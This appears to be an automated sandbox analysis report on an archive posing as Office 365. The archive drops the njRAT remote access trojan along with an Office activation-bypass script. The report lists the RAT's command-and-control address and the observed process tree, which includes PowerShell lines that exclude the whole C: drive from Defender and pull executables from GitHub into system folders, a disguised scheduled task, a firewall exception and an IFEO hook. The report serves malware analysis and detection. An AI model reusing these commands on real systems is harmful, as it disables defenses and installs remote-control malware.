Analysis
-
max time kernel
82s -
max time network
83s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
12-12-2024 18:13
General
-
Target
https://cdn.discordapp.com/attachments/1097612223544836197/1316830236247326831/Office-365.rar?ex=675c7939&is=675b27b9&hm=88f64580fbc57e5e15fb335ded817035c026a64f2f2dfa824c029b6334369515&
Malware Config
Extracted
njrat
0.7d
MPG
49.228.131.165:2422
fa6b40864b6c109adbc85023cd1f59d2
-
reg_key
fa6b40864b6c109adbc85023cd1f59d2
-
splitter
Y262SUCZ4UJJ
Signatures
-
Njrat family
-
njRAT/Bladabindi
Widely used RAT written in .NET.
-
Blocklisted process makes network request 6 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Downloads MZ/PE file
-
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Stops running service(s) 4 TTPs
-
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 9 IoCs
-
Loads dropped DLL 36 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
-
Checks system information in the registry 2 TTPs 8 IoCs
System information is often read in order to detect sandboxing environments.
-
Drops file in System32 directory 13 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 5 IoCs
-
Launches sc.exe 13 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
System Location Discovery: System Language Discovery 1 TTPs 57 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 1 IoCs
-
Enumerates system info in registry 2 TTPs 12 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 2 IoCs
-
Modifies registry key 1 TTPs 56 IoCs
-
Opens file in notepad (likely ransom note) 1 IoCs
-
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 47 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 41 IoCs
-
Suspicious use of SendNotifyMessage 27 IoCs
-
Suspicious use of SetWindowsHookEx 13 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://cdn.discordapp.com/attachments/1097612223544836197/1316830236247326831/Office-365.rar?ex=675c7939&is=675b27b9&hm=88f64580fbc57e5e15fb335ded817035c026a64f2f2dfa824c029b6334369515&1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffedd6ccc40,0x7ffedd6ccc4c,0x7ffedd6ccc582⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2028,i,8892651497772931192,13112916493629382916,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2032 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1816,i,8892651497772931192,13112916493629382916,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2188 /prefetch:32⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2244,i,8892651497772931192,13112916493629382916,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2264 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3100,i,8892651497772931192,13112916493629382916,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3144 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3108,i,8892651497772931192,13112916493629382916,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3172 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4748,i,8892651497772931192,13112916493629382916,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4844 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4508,i,8892651497772931192,13112916493629382916,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4728 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Office-365\" -spe -an -ai#7zMap23142:82:7zEvent194391⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\Downloads\Office-365\myprograme.exe"C:\Users\Admin\Downloads\Office-365\myprograme.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Modifies registry class
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\run_setup.bat"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.execmd /c "Csetup.exe"3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\Csetup.exeCsetup.exe4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\temp_script.bat5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\\*'"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak6⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\\*'"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachineCoreUO" /tr "rundll32.exe C:\Windows\System32\vcruntime143_thread.dll,Start"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\temp_script.bat5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Invoke-Webrequest 'https://raw.githubusercontent.com/zoneprohuub/WOC/main/ZUMBAA' -OutFile 'C:\Windows\System32\vcruntime143_thread.dll'"6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\temp_script.bat5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\system32\rundll32.exerundll32.exe vcruntime143_thread.dll,Start6⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in Windows directory
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachineCoreUO" /tr "rundll32.exe C:\Windows\System32\vcruntime143_thread.dll,Start"7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\temp_script.bat7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-Webrequest 'https://raw.githubusercontent.com/zoneprohuub/WOC/main/VAN' -OutFile 'C:\Windows\Help\service\wininitt.exe'"8⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\Help\service\wininitt.exeC:\Windows\Help\service\wininitt.exe7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Windows\Help\service\wininitt.exe" "wininitt.exe" ENABLE8⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\active.bat""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.execmd /v:on /c echo(^!param^!3⤵
-
-
C:\Windows\system32\findstr.exefindstr /R "[| ` ~ ! @ % \^ & ( ) \[ \] { } + = ; ' , |]*^"3⤵
-
-
C:\Windows\system32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\WinMgmt /v Start3⤵
- Modifies registry key
-
-
C:\Windows\system32\find.exefind /i "0x4"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\find.exefind /i "ComputerSystem"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -c $ExecutionContext.SessionState.LanguageMode3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\find.exefind /i "Full"3⤵
-
-
C:\Windows\system32\reg.exereg query HKU\S-1-5-193⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ver3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v UBR 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v UBR4⤵
-
-
-
C:\Windows\system32\reg.exereg query "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled3⤵
-
-
C:\Windows\system32\find.exefind /i "0x0"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled3⤵
-
-
C:\Windows\system32\find.exefind /i "0x0"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Console" /v ForceV23⤵
-
-
C:\Windows\system32\find.exefind /i "0x0"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c dir /b /ad C:\Windows\Sysnative\spp\tokens\skus3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\sc.exesc query osppsvc3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c dir /b /ad C:\Windows\Sysnative\spp\tokens\addons 2>nul3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe"3⤵
-
-
C:\Windows\system32\mode.commode con cols=80 lines=343⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r ".*retail"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i /v "project visio"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x2"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r ".*retail"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i /v "project visio"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x3"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r ".*volume"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i /v "project visio"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x2"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r ".*volume"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i /v "project visio"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x3"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r "project.*"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x2"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r "project.*"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x3"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r "visio.*"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x2"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r "visio.*"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x3"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %B in (1) do rem"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\mode.commode con cols=100 lines=343⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -c "&{$W=$Host.UI.RawUI.WindowSize;$B=$Host.UI.RawUI.BufferSize;$W.Height=31;$B.Height=300;$Host.UI.RawUI.WindowSize=$W;$Host.UI.RawUI.BufferSize=$B;}"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\Wbem\WMIC.exeWMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionPath="C:\Windows\Sysnative\SppExtComObjHook.dll" Force=True3⤵
-
-
C:\Windows\system32\sc.exesc query sppsvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\find.exefind /i "STOPPED"3⤵
-
-
C:\Windows\system32\net.exenet stop sppsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sppsvc /y4⤵
-
-
-
C:\Windows\system32\sc.exesc query sppsvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\find.exefind /i "STOPPED"3⤵
-
-
C:\Windows\system32\sc.exesc stop sppsvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -c "$d='C:\Windows\System32';$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\active.bat') -split ':embdbin\:.*';iex ($f[1]);X 2"3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\Temp\kcfrzlkw\kcfrzlkw.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\Temp\RES49.tmp" "c:\Windows\Temp\kcfrzlkw\CSC244F468DF46343F2B574EDD66152B10.TMP"5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\active.bat""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.execmd /v:on /c echo(^!param^!3⤵
-
-
C:\Windows\system32\findstr.exefindstr /R "[| ` ~ ! @ % \^ & ( ) \[ \] { } + = ; ' , |]*^"3⤵
-
-
C:\Windows\system32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\WinMgmt /v Start3⤵
- Modifies registry key
-
-
C:\Windows\system32\find.exefind /i "0x4"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value3⤵
-
-
C:\Windows\system32\find.exefind /i "ComputerSystem"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -c $ExecutionContext.SessionState.LanguageMode3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\find.exefind /i "Full"3⤵
-
-
C:\Windows\system32\reg.exereg query HKU\S-1-5-193⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ver3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v UBR 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v UBR4⤵
-
-
-
C:\Windows\system32\reg.exereg query "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled3⤵
-
-
C:\Windows\system32\find.exefind /i "0x0"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled3⤵
-
-
C:\Windows\system32\find.exefind /i "0x0"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Console" /v ForceV23⤵
-
-
C:\Windows\system32\find.exefind /i "0x0"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c dir /b /ad C:\Windows\Sysnative\spp\tokens\skus3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\sc.exesc query osppsvc3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c dir /b /ad C:\Windows\Sysnative\spp\tokens\addons 2>nul3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe"3⤵
-
-
C:\Windows\system32\mode.commode con cols=80 lines=343⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r ".*retail"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i /v "project visio"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x2"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r ".*retail"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i /v "project visio"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x3"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r ".*volume"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i /v "project visio"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x2"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r ".*volume"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i /v "project visio"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x3"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r "project.*"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x2"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r "project.*"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x3"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r "visio.*"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x2"3⤵
-
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /i /r "visio.*"3⤵
-
-
C:\Windows\system32\find.exefind /i "0x3"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /v VerifierFlags3⤵
-
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /v VerifierFlags3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %B in (1) do rem"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\mode.commode con cols=100 lines=343⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -c "&{$W=$Host.UI.RawUI.WindowSize;$B=$Host.UI.RawUI.BufferSize;$W.Height=31;$B.Height=300;$Host.UI.RawUI.WindowSize=$W;$Host.UI.RawUI.BufferSize=$B;}"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\Wbem\WMIC.exeWMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionPath="C:\Windows\Sysnative\SppExtComObjHook.dll" Force=True3⤵
-
-
C:\Windows\system32\sc.exesc query sppsvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\find.exefind /i "STOPPED"3⤵
-
-
C:\Windows\system32\sc.exesc query sppsvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\find.exefind /i "STOPPED"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -c "$d='C:\Windows\System32';$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\active.bat') -split ':embdbin\:.*';iex ($f[1]);X 2"3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\Temp\raxki5h5\raxki5h5.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\Temp\RESA2C.tmp" "c:\Windows\Temp\raxki5h5\CSC12A8482D1E54CE5BB92BF8DCDA9A990.TMP"5⤵
-
-
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v Debugger3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v VerifierDlls /t REG_SZ /d "SppExtComObjHook.dll"3⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v VerifierDebug /t REG_DWORD /d 0x000000003⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v VerifierFlags /t REG_DWORD /d 0x800000003⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
